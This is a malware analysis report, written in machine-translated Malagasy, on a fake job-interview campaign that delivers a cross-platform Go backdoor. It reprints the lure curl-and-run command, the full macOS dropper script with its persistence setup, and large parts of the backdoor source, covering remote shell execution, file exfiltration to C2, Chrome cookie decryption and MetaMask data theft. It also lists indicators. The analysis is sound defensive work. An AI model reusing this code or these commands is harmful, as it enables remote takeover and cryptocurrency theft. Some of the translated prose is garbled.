
Nosoratan'ny MacPaw's Moonlock Lab Team
Ny fanentanana an-tserasera mitohy dia mikendry ireo mpitady asa miaraka amin'ny tranokala fanadinadinana sandoka, mamitaka azy ireo amin'ny fampidinana barebones nefa mandaitra be. Tsy toy ny malware be pitsiny izay mampiasa teknika fanakorontanana, ity fanafihana ity dia miankina amin'ny fahatsoran'ny fanaterana kaody loharano miaraka amin'ny Go binary, ka mahatonga azy io ho cross-platform. Ny tena mampanahy kokoa dia ny fiezahany haka an-keriny ny fahazoan-dàlana amin'ny MetaMask fanitarana Chrome mifandraika amin'ny cryptocurrency, izay mety handany ny poketran'ireo niharam-boina.
Mijanona ho mavitrika ny fanentanana, miaraka amin'ireo sehatra vaovao miseho tsy tapaka mba hisarihana ireo niharam-boina. Maro ny mpikaroka momba ny fiarovana sy ny orinasa, toy ny
Ny ekipan'ny Moonlock Lab dia nanomboka nanara-maso ity malware ity tamin'ny 9 Oktobra 2024, rehefa nanomboka niseho ireo singa voalohany amin'ny varavarana aoriana. Ny backdoor dia karazana rindrambaiko mampidi-doza izay miafina amin'ny rafitra iray ary mamela ireo mpisehatra fandrahonana manatanteraka baiko avy lavitra, toy ny hoe izy ireo no tompon'ny toeram-piasana ara-dalàna. Ireo fanafihana ireo dia matetika mampiasa ny antsoina hoe C2 (Command and Control) lohamilina handefasana sy hanatanteraka baiko.
Ny mampiavaka an'io fanafihana io amin'ny hafa tsikaritray matetika dia misy dingana maromaro izy io ary natao hijanonana amin'ny masinin'ny niharam-boina fa tsy hampiasa fikorianan'ny angona tifitra tokana. Ny fijery feno momba ny dingana fanafihana dia azo jerena amin'ny sary etsy ambany.
Ny kofehy voalohany voarafitra tsara amin'ny X izay tsikaritray dia navoakan'i
' Matetika dia manomboka amin'ny "mpikarama" avy amin'ny orinasa fantatra ohatra Kraken, MEXC, Gemini, Meta. Mahasarika ny salan-karama + fomba fandefasana hafatra—na dia ho an'ireo izay tsy mihaza asa aza. Amin'ny ankapobeny amin'ny alàlan'ny Linkedin. Eo koa ny tranokala freelancer, tranokala asa, tg, disadisa, sns.
Mba hahazoana ny kinova farany amin'ity malware ity dia ilaina ny manara-maso ireo sehatra vaovao mampiantrano tranokala fanadihadiana sandoka. Ho an'ity tanjona ity, ny ekipanay dia niantehitra tamin'ny tondro roa tsy miova izay zarain'ireto sehatra ireto:
Na dia mikatona aza ny sasany amin'ireo sehatra ampiasaina mandritra ity fampielezan-kevitra ity, dia mbola mipoitra ihany ireo vaovao, miaraka amin'ny vaovao farany mbola an-tserasera: smarthiretop[.]online . Nahita sehatra mavitrika maherin'ny 20 ny ekipanay nanomboka tamin'ny Novambra 2024.
Rehefa avy nanadihady ireo sehatra izahay dia hitanay fa mitovy ny adiresy IP ny sasany amin'izy ireo. Matetika no mitranga izany satria ny mpanafika dia mampiasa mpamatsy fampiantranoana tsy misy bala, izay mamela sehatra maromaro hampiantranoina amin'ny lohamilina iray ihany. Fanampin'izany, ny fampiantranoana sehatra maro amin'ny IP tokana dia ahafahan'ny mpisehatra fandrahonana manodina sehatra tsy misy fanovana ny fotodrafitrasa backend.
Ity fotodrafitrasa ratsy ity dia ampiantranoina amin'ny serivisy isan-karazany zaraina maneran-tany. Araka ny aseho amin'ny sarintany etsy ambany, ny ankamaroan'ny mpizara dia any Etazonia, ary ny sasany miparitaka any amin'ny firenena hafa.
Ny baiko maloto izay nangatahana hotanterahin'ireo mpanao fanadihadiana dia manafina ao amin'ny varavarankely izay miseho rehefa mitsidika tranonkala maloto izy ireo. Kaody JS izy io, mitambatra ao anaty rakitra main.39e5a388.js amin'ity tranga ity. Ny anaran-drakitra toy izany dia matetika novolavolaina amin'ny alàlan'ny hashing na fanondro-tanana mandritra ny dingan'ny fananganana rindranasa tranonkala (Reference:
Ny iray amin'ireo pejy dia manana ity rakitra JS tafiditra ity miaraka amin'ity hash SHA256 manaraka ity:
Hitantsika mora foana fa ao anatin'ny rakitra JS naorina dia ireo baiko nasaina nampidirin'ireo niharam-boina:
Taorian'ny fahatakarana ny fomba nanaparitahan'ilay mpisehatra fandrahonana ny malware, ny tanjonay voalohany dia ny hitady santionany haingana sy hamorona sonia ho an'ireo mpampiasa anay. Ny filazana mivantana voalohany momba ny santionany "vonona famokarana" sy ny hashes SHA-256 izay hitanay dia tao amin'ity lohahevitra ity:
Anisan'izany ny hash dimy, izany hoe:
Ho fanampin'izany, nanomboka naka sora-baventy ratsy toy ny voafitaka izahay mba hampidina azy ireo, mitovy amin'ireo niharam-boina. Tamin'ny fotoana iray, ity baiko manaraka ity dia nampiasaina tamin'ny tranokala fanadihadiana sandoka:
baiko avy amin'ny pikantsary (aza tanterahana!):
sudo sh -c 'curl -k -o /var/tmp/ffmpeg.sh https://api.nvidia-release.org/ffmpeg-ar.sh && chmod +x /var/tmp/ffmpeg.sh && nohup bash /var/tmp/ffmpeg.sh >/dev/null 2>&1 &'
Izy io dia manao ny hetsika voatanisa etsy ambany:
Ao anatin'ny rakitra ffmpeg.sh voatahiry ao anaty lahatahiry vonjimaika, dia afaka mahita ny fidirana amin'ity fanafihana ity isika, izay ahitana:
Araka ny hitantsika amin'ny script etsy ambany, dia natao manokana ho an'ny macOS izy io, na ny fiovaovan'ny Intel na ny ARM. Rehefa avy namaritra ny maodely CPU amin'izao fotoana izao, dia misintona rakitra ZIP misy rakitra marobe. Ny famerenana amin'ny antsipiriany bebe kokoa momba ity script ity dia azo jerena ao amin'ny
#!/bin/bash # Define variables for URLs ZIP_URL_ARM64="https://api.nvidia-cloud.online/VCam1.update" ZIP_URL_INTEL="https://api.nvidia-cloud.online/VCam2.update" ZIP_FILE="/var/tmp/VCam.zip" # Path to save the downloaded ZIP file WORK_DIR="/var/tmp/VCam" # Temporary directory for extracted files EXECUTABLE="vcamservice.sh" # Replace with the name of the executable file inside the ZIP APP="ChromeUpdateAlert.app" # Replace with the name of the app to open PLIST_FILE=~/Library/LaunchAgents/com.vcam.plist # Path to the plist file # Determine CPU architecture case $(uname -m) in arm64) ZIP_URL=$ZIP_URL_ARM64 ;; x86_64) ZIP_URL=$ZIP_URL_INTEL ;; *) exit 1 ;; # Exit for unsupported architectures esac # Create working directory mkdir -p "$WORK_DIR" # Function to clean up cleanup() { rm -rf "$ZIP_FILE" } # Download, unzip, and execute if curl -s -o "$ZIP_FILE" "$ZIP_URL" && [[ -f "$ZIP_FILE" ]]; then unzip -o -qq "$ZIP_FILE" -d "$WORK_DIR" if [[ -f "$WORK_DIR/$EXECUTABLE" ]]; then chmod +x "$WORK_DIR/$EXECUTABLE" else cleanup exit 1 fi else cleanup exit 1 fi # Step 4: Register the service mkdir -p ~/Library/LaunchAgents cat > "$PLIST_FILE" <<EOL <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>Label</key> <string>com.vcam</string> <key>ProgramArguments</key> <array> <string>$WORK_DIR/$EXECUTABLE</string> </array> <key>RunAtLoad</key> <true/> <key>KeepAlive</key> <false/> </dict> </plist> EOL chmod 644 "$PLIST_FILE" if ! launchctl list | grep -q "com.vcam"; then launchctl load "$PLIST_FILE" fi # Step 5: Run ChromeUpdateAlert.app if [[ -d "$WORK_DIR/$APP" ]]; then open "$WORK_DIR/$APP" & fi # Final cleanup cleanup
Reference:
Ny votoatin'ny arisiva (dika ho an'ny Intel CPU) izay alaina amin'ny script dia voatanisa etsy ambany:
Ny rakitra rehetra ao amin'ny arisiva dia azo sokajiana ho vondrona vitsivitsy:
Mahaliana fa eo amin'ny 75 MB eo ho eo ny haben'ilay arisiva, indrindra satria misy ampahany maro amin'ny tranomboky sy binary Go ara-dalàna.
Ny iray amin'ireo rakitra hitanay fa nampiasaina nandritra ny fotoana maharitra tamin'ity fanafihana ity dia ny binary universel Mach-O miaraka amin'ny maritrano 2, antsoina hoe CameraAccess ( SHA256: 3c4becde20e618efb209f97581e9ab6bf00cbd63f51f4ebd5677e 3992c57e 3992c577e ).
Masquerade ho toy ny kisary Google Chrome izy io, mahatonga ny mpampiasa mahazatra hino fa ara-dalàna ilay rakitra ary manakana azy ireo tsy hamafa izany.
Ny kaody dia nosoratana tamin'ny Swift, ary tsy nisy teknika fanamafisam-peo matanjaka hita, izay mahatonga azy io ho mora ny mahatakatra ny fizotran'ny famonoana.
Mampiseho varavarankely toa ny varavarankely fampandrenesana rafitra izy io, mangataka ny mpampiasa hanome fidirana mikrofona, izay heverina fa nangatahana tamin'ny fampiharana Google Chrome.
Na dia misafidy ny "Remind Me Later" aza ny mpampiasa, dia mbola mipoitra ny varavarankely fampandrenesana tenimiafina.
Milaza ny fampiharana fa mitaky fidirana amin'ny mikrô; Na izany aza, dia misy sandbox, ary tsy misy fangatahana fahazoan-dàlana ho an'ny mikrô.
Rehefa miditra ny tenimiafina ny mpampiasa dia mangataka ny adiresy IP ivelany an'ny mpampiantrano azy ilay malware. Avy eo dia mandefa ny rakitra password.txt mankany amin'ny lahatahiry Dropbox nomena anarana avy amin'ny adiresy IP ivelany an'ny mpampiasa.
Ao amin'ny pikantsary etsy ambany dia azo jerena ny URL Dropbox API.
Eo am-pandinihana ny fifamoivoizana amin'ny tambazotra dia hitanay ny andrana haka ny adiresy IP ho an'ny daholobe an'ny niharam-boina.
Rehefa voaray ny adiresy IP, dia afaka mahita fangatahana amin'ny Dropbox izahay mba hampidirana mpivady IP-password amin'ny alàlan'ny fahazoan-dàlana henjana.
Nitatitra an'io tranga io tamin'ny Dropbox ny ekipanay, miaraka amin'ireo mari-pankasitrahana ampiasaina amin'ny fanatanterahana ity fampielezan-kevitra mamoafady ity.
Zava-dehibe ny manamarika fa ny rakitra ZIP alaina avy amin'ny script ffmpeg.sh dia misy ny kaody loharanon-tsoratra tsotra ao amin'ny backdoor, midika izany fa tsy voavolavola mialoha no tsy nofaritana. Nanafaingana ny famakafakana izany saingy nametraka fanontaniana momba ny fandraisan'anjaran'ny tena. Tsy ilaina ny milaza fa ny vondrona APT avy any DPRK dia mazàna be pitsiny kokoa.
Paikady hafa tsy mahazatra dia ny fampidirana ny binary Go ( /bin/go ) ao amin'ny arisiva fa tsy manangona ny code feno fotsiny. Na izany aza, satria ny Go dia tsy fampiharana default amin'ny rafitra fiasana maro, ireo mpisehatra fandrahonana dia mety nampiditra azy io mba hifanaraka tsara kokoa. Misy dikany izany raha jerena fa ny malware dia cross-platform ary mikendry macOS, Linux ary Windows amin'ny fotoana iray ihany.
Ny tabilao mampiseho ny fifandraisana sy ny famaritana amin'ny antsipiriany momba ny santionany tsirairay dia azo jerena eto:
Ao anatin'ilay arisiva dia misy script antsoina hoe vcamupdate.sh . Mihazakazaka avy hatrany izy io aorian'ny famoahana azy ary manatanteraka tsotra fotsiny /bin/go (izay atambatra ao amin'ny ZIP) rehefa mandalo ny lalana mankany amin'ny fampiharana Golang lehibe ( app.go amin'ity tranga ity).
#!/bin/bash # Set the working directory to the folder where this script is located cd "$(dirname "$0")" echo "Installing Dependencies..." project_file="app.go" ./bin/go run "$project_file" exit 0
Ny fampiharana fidirana ( app.go ) dia tompon'andraikitra amin'ny famoronana UUID tokana ho an'ny toeram-piasan'ny mpampiasa, manomboka ny URL C2, ary manomboka ny loop lehibe. Ao amin'ny kaody dia afaka mahita fanehoan-kevitra tokana, fanontana hafatra fanohanana, ary fehezan-dalàna misy fanehoan-kevitra sasany. Ao anatin'izany koa ny URL izay mety ho natao fitiliana, hadino ny nesorin'ny mpamorona. Na dia tsy mitovy aza ny adiresy IP C2 ao amin'ny fampielezan-kevitra lehibe, ny santionany tamin'ny 2024 dia nizara fiasa mitovy ary nikendry angon-drakitra mitovy.
Taty aoriana ny antso ho amin'ny core.StartMainLoop(id, url) dia mitondra antsika any amin'ny lahatahiry fototra/ misy rakitra loop.go sy work.go. Ny rakitra loop.go dia tompon'andraikitra indrindra amin'ny fandraisana sy fanatanterahana ny baiko avy amin'ny C2, fiantsoana ireo submodules izay manangona angona saro-pady, ary mampakatra izany any amin'ny mpizara lavitra. Ahitana fiasa maro izy io, ka ny 8 amin'ireo no tiana hasongadina sy hojerena amin'ny antsipiriany kokoa.
Ity fampiasa ity dia mampiasa ny submodule config mba hanombohana ny baiko misy ary hihaino ireo izay miditra. Eto ambany ianao dia afaka mahita tabilao misy ny baiko rehetra miaraka amin'ny kaody mifanaraka aminy. Ny famakafakana amin'ny antsipiriany bebe kokoa momba ny fiasa backdoor dia azo jerena ao
Anaran'ny baiko | Anarana voakodia | Description |
---|---|---|
COMMAND_INFO | qwer | Makà solon'anarana, mpampiantrano, OS, arch |
COMMAND_UPLOAD | asdf | Ampidiro sy esory ny arisiva tsy misy dikany avy amin'ny C2 ho mpampiantrano |
COMMAND_DOWNLOAD | zxcv | Ampidino amin'ny C2 ny angona nangalarina |
COMMAND_OSSHELL | vbcx | Ampidiro ny shell interactive eo anelanelan'ny mpampiantrano sy C2 (manaova baiko lavitra tsy misy dikany) |
COMMAND_AUTO | r4ys | Angony ho azy ny angona saropady |
COMMAND_WAIT | ghdj | Miandrasa X segondra |
COMMAND_EXIT | dghh | Hivoaka ny loop lehibe (apetraka velona=diso) |
Miorina amin'ny baiko voaray avy amin'ny C2, dia hiantsoana asa mety.
func StartMainLoop(id string, url string) { var ( msg_type string msg_data [][]byte msg string cmd string cmd_type string cmd_data [][]byte alive bool ) // initialize cmd_type = config.COMMAND_INFO alive = true for alive { func() { // recover panic state defer func() { if r := recover(); r != nil { cmd_type = config.COMMAND_INFO time.Sleep(config.DURATION_ERROR_WAIT) } }() switch cmd_type { case config.COMMAND_INFO: msg_type, msg_data = processInfo() case config.COMMAND_UPLOAD: msg_type, msg_data = processUpload(cmd_data) case config.COMMAND_DOWNLOAD: msg_type, msg_data = processDownload(cmd_data) case config.COMMAND_OSSHELL: msg_type, msg_data = processOsShell(cmd_data) case config.COMMAND_AUTO: msg_type, msg_data = processAuto(cmd_data) case config.COMMAND_WAIT: msg_type, msg_data = processWait(cmd_data) case config.COMMAND_EXIT: alive = false msg_type, msg_data = processExit() default: panic("problem") } msg = command.MakeMsg(id, msg_type, msg_data) cmd, _ = transport.HtxpExchange(url, msg) cmd_type, cmd_data = command.DecodeMsg(cmd) }() } }
Ity fiasa ity dia hanangona fampahalalana momba ny rafitra fototra toy ny solon'anarana, anaran'ny mpampiantrano, dikan-teny OS ary maritrano. Tsara ny manamarika fa ny ankamaroan'ny infostealers malaza dia manangona fampahalalana momba ny rafitra bebe kokoa noho ity malware ity.
func processInfo() (string, [][]byte) { user, _ := user.Current() host, _ := os.Hostname() os := runtime.GOOS arch := runtime.GOARCH print("user: " + user.Username + ", host: " + host + ", os: " + os + ", arch: " + arch + "\n") data := [][]byte{ []byte(user.Username), []byte(host), []byte(os), []byte(arch), []byte(config.DAEMON_VERSION), } return config.MSG_INFO, data }
Amin'ity tranga ity, ny fampiakarana dia maneho ny dingan'ny fandefasana rakitra arisiva avy amin'ny C2 mankany amin'ny mpampiantrano voan'ny aretina, arahin'ny famotsorana azy. Izy io koa dia manondro raha nahomby ny decompression.
func processUpload(data [][]byte) (string, [][]byte) { var log string var state string path := string(data[0]) buf := bytes.NewBuffer(data[1]) err := util.Decompress(buf, path) if err == nil { log = fmt.Sprintf("%s : %d", path, len(data[1])) state = config.LOG_SUCCESS } else { log = fmt.Sprintf("%s : %s", path, err.Error()) state = config.LOG_FAIL } return config.MSG_LOG, [][]byte{ []byte(state), []byte(log), } }
Io fiasa io dia mifamadika amin'ilay teo aloha. Manamboatra lahatahiry misy rakitra voaangona mialoha ao amin'ny arsiva tar.gz izy io.
func processDownload(data [][]byte) (string, [][]byte) { var file_data []byte var err error path := string(data[0]) _, file := filepath.Split(path) info, _ := os.Stat(path) if info.IsDir() { var buf bytes.Buffer err = util.Compress(&buf, []string{path}, false) file = fmt.Sprintf("%s.tar.gz", file) file_data = buf.Bytes() } else { file_data, err = os.ReadFile(path) } if err == nil { return config.MSG_FILE, [][]byte{[]byte(config.LOG_SUCCESS), []byte(file), file_data} } else { return config.MSG_FILE, [][]byte{[]byte(config.LOG_FAIL), []byte(err.Error())} } }
Ity dia fiasa izay tsy maintsy ananan'ny tena backdoor. Miandry baiko tsy misy dikany izy io ary manandrana manatanteraka izany. Ny baiko iray dia mety manana tohan-kevitra andalana baiko, ary ny vokatra dia alefa mivantana amin'ny C2.
func processOsShell(data [][]byte) (string, [][]byte) { mode := string(data[0]) // mode timeout, _ := strconv.ParseInt(string(data[1]), 16, 64) shell := string(data[2]) args := make([]string, len(data[3:])) for index, elem := range data[3:] { args[index] = string(elem) } if mode == config.SHELL_MODE_WAITGETOUT { // wait and get result mode ctx, cancel := context.WithTimeout(context.Background(), time.Duration(timeout)) defer cancel() cmd := exec.CommandContext(ctx, shell, args...) out, err := cmd.Output() if err != nil { return config.MSG_LOG, [][]byte{ []byte(config.LOG_FAIL), []byte(err.Error()), } } else { return config.MSG_LOG, [][]byte{ []byte(config.LOG_SUCCESS), out, } } } else { // start and detach mode c := exec.Command(shell, args...) err := c.Start() if err != nil { return config.MSG_LOG, [][]byte{ []byte(config.LOG_FAIL), []byte(err.Error()), } } else { return config.MSG_LOG, [][]byte{ []byte(config.LOG_SUCCESS), []byte(fmt.Sprintf("%s %s", shell, strings.Join(args, " "))), } } } }
Io no idiran'ny halatra. Ity fiasa ity dia misy antso marobe amin'ny rakitra hita ao amin'ny auto/folder. Anisan'izany ny mpisambotra, mpanodina na mpanova ireto angona manaraka ireto:
func processAuto(data [][]byte) (string, [][]byte) { var ( msg_type string msg_data [][]byte ) mode := string(data[0]) switch mode { case config.AUTO_CHROME_GATHER: msg_type, msg_data = auto.AutoModeChromeGather() case config.AUTO_CHROME_PREFRST: msg_type, msg_data = auto.AutoModeChromeChangeProfile() case config.AUTO_CHROME_COOKIE: msg_type, msg_data = auto.AutoModeChromeCookie() case config.AUTO_CHROME_KEYCHAIN: msg_type, msg_data = auto.AutoModeMacChromeLoginData() default: msg_type = config.MSG_LOG msg_data = [][]byte{[]byte(config.LOG_FAIL), []byte("unknown auto mode")} } return msg_type, msg_data }
Fampiasa fampiasa ampiasaina handefasana varavarana miverina amin'ny fomba fatoriana, miandry baiko fanampiny.
func processWait(data [][]byte) (string, [][]byte) { duration, _ := strconv.ParseInt(string(data[0]), 16, 64) time.Sleep(time.Duration(duration)) send_data := make([]byte, 128) rand.Read(send_data) return config.MSG_PING, [][]byte{send_data} }
Ity dia fampiasa fampiasa ampiasaina hialana amin'ny tadivavarana lehibe amin'ny fifandraisana amin'ny C2.
func processExit() (string, [][]byte) { return config.MSG_LOG, [][]byte{ []byte(config.LOG_SUCCESS), []byte("exited"), } }
Ahitana andiana Go-apps ny auto/ folder:
fototra.go
const ( userdata_dir_win = "AppData\\Local\\Google\\Chrome\\User Data\\" userdata_dir_darwin = "Library/Application Support/Google/Chrome/" userdata_dir_linux = ".config/google-chrome" extension_dir = "nkbihfbeogaeaoehlefnkodbefgpgknn" extension_hash_key = "protection.macs.extensions.settings.nkbihfbeogaeaoehlefnkodbefgpgknn" extension_setting_key = "extensions.settings.nkbihfbeogaeaoehlefnkodbefgpgknn" secure_preference_file = "Secure Preferences" logins_data_file = "Login Data" keychain_dir_darwin = "Library/Keychains/login.keychain-db" )
chrome_change_pref.go
// get json string func getExtJsonString() string { return `{"active_permissions":{"api": ["activeTab","clipboardWrite","notifications","storage","unlimitedStorage","webRequest"], "explicit_host":["*://*.eth/*","http://localhost:8545/*","https://*.codefi.network/*","https://*.cx.metamask.io/*","https://*.infura.io/*","https://chainid.network/*","https://lattice.gridplus.io/*"], "manifest_permissions":[], "scriptable_host":["*://connect.trezor.io/*/popup.html","file:///*","http://*/*","https://*/*"]}, "commands":{"_execute_browser_action":{"suggested_key":"Alt+Shift+M","was_assigned":true}},"content_settings":[], "creation_flags":38,"events":[],"first_install_time":"13361518520188298","from_webstore":false, "granted_permissions":{"api":["activeTab","clipboardWrite","notifications","storage","unlimitedStorage","webRequest"], "explicit_host":["*://*.eth/*","http://localhost:8545/*","https://*.codefi.network/*","https://*.cx.metamask.io/*","https://*.infura.io/*","https://chainid.network/*","https://lattice.gridplus.io/*"], "manifest_permissions":[],"scriptable_host":["*://connect.trezor.io/*/popup.html","file:///*","http://*/*","https://*/*"]},"incognito_content_settings":[], "incognito_preferences":{},"last_update_time":"13361518520188298","location":4,"newAllowFileAccess":true,"path":"C:\\ProgramData\\11.16.0_0","preferences":{}, "regular_only_preferences":{},"state":1,"was_installed_by_default":false,"was_installed_by_oem":false,"withholding_permissions":false}` }
// chrome kill if runtime.GOOS == "windows" { cmd := exec.Command("cmd", "/c", "taskkill /f /im chrome.exe") cmd.Run() } else { cmd := exec.Command("/bin/sh", "-c", "killall chrome") cmd.Run() }
chrome_cookie_darwin.go
var ( SALT = "saltysalt" ITERATIONS = 1003 KEYLENGTH = 16 ) func getDerivedKey() ([]byte, error) { out, err := exec.Command( `/usr/bin/security`, `find-generic-password`, `-s`, `Chrome Safe Storage`, `-wa`, `Chrome`, ).Output() if err != nil { return nil, err } temp := []byte(strings.TrimSpace(string(out))) chromeSecret := temp[:len(temp)-1] if chromeSecret == nil { return nil, errors.New("Can not get keychain") } var chromeSalt = []byte("saltysalt") // @https://source.chromium.org/chromium/chromium/src/+/master:components/os_crypt/os_crypt_mac.mm;l=157 key := pbkdf2.Key(chromeSecret, chromeSalt, 1003, 16, sha1.New) return key, nil }
chrome_cookie_other.go
chrome_cookie_win.go
chrome_gather.go
func AutoModeChromeGather() (string, [][]byte) { print("=========== AutoModeChromeGather ===========", runtime.GOOS, "\n") var ( buf bytes.Buffer userdata_dir string path_list []string ) // gather userdata_dir = getUserdataDir() // file system search _ = filepath.Walk(userdata_dir, func(path string, info os.FileInfo, err error) error { if info.Name() == extension_dir && strings.Contains(path, "Local Extension Settings") { path_list = append(path_list, path) } return nil }) _ = util.Compress(&buf, path_list, true) print("=========== End ===========\n") // return data := make([][]byte, 3) data[0] = []byte(config.LOG_SUCCESS) data[1] = []byte("gather.tar.gz") data[2] = buf.Bytes() msg_type := config.MSG_FILE return msg_type, data
Mba hamaranana ny famakafakantsika dia tsy maintsy manasongadina ireo hevi-dehibe indrindra isika:
app.blockchain-checkup[.]com app.hiring-interview[.]com app.quickvidintro[.]com app.skill-share[.]org app.vidintroexam[.]com app.willo-interview[.]us app.willohiringtalent[.]org app.willorecruit[.]com app.willotalent[.]pro app.willotalentes[.]com app.willotalents[.]org blockchain-assess[.]com digitpotalent[.]com digitptalent[.]com fundcandidates[.]com hiringinterview[.]org hiringtalent[.]pro interviewnest[.]org smarthiretop[.]online talentcompetency[.]com topinnomastertech[.]com web.videoscreening[.]org willoassess[.]com willoassess[.]net willoassess[.]org willoassessment[.]com willocandidate[.]com willointerview[.]com willomexcvip[.]us winterviews[.]net winyourrole[.]com wtalents[.]in wtalents[.]us wholecryptoloom[.]com
b72653bf747b962c67a5999afbc1d9156e1758e4ad959412ed7385abaedb21b6 60ec2dbe8cfacdff1d4eb093032b0307e52cc68feb1f67487d9f401017c3edd7 5df555b868c08eed8fea2c5f1bc82c5972f2dd69159b2fdb6a8b40ab6d7a1830 3c4becde20e618efb209f97581e9ab6bf00cbd63f51f4ebd5677e352c57e992a 3210d821e12600eac1b9887860f4e63923f624643bc3c50b3600352166e66bfe b2a4a981ba7cc2add74737957efdfcbd123922653e3bb109aa7e88d70796a340 3697852e593cec371245f6a7aaa388176e514b3e63813fdb136a0301969291ea 0a49f0a8d0b1e856b7d109229dfee79212c10881dcc4011b98fe69fc28100182
hxxp://216.74.123.191:8080 hxxp://95.169.180.146:8080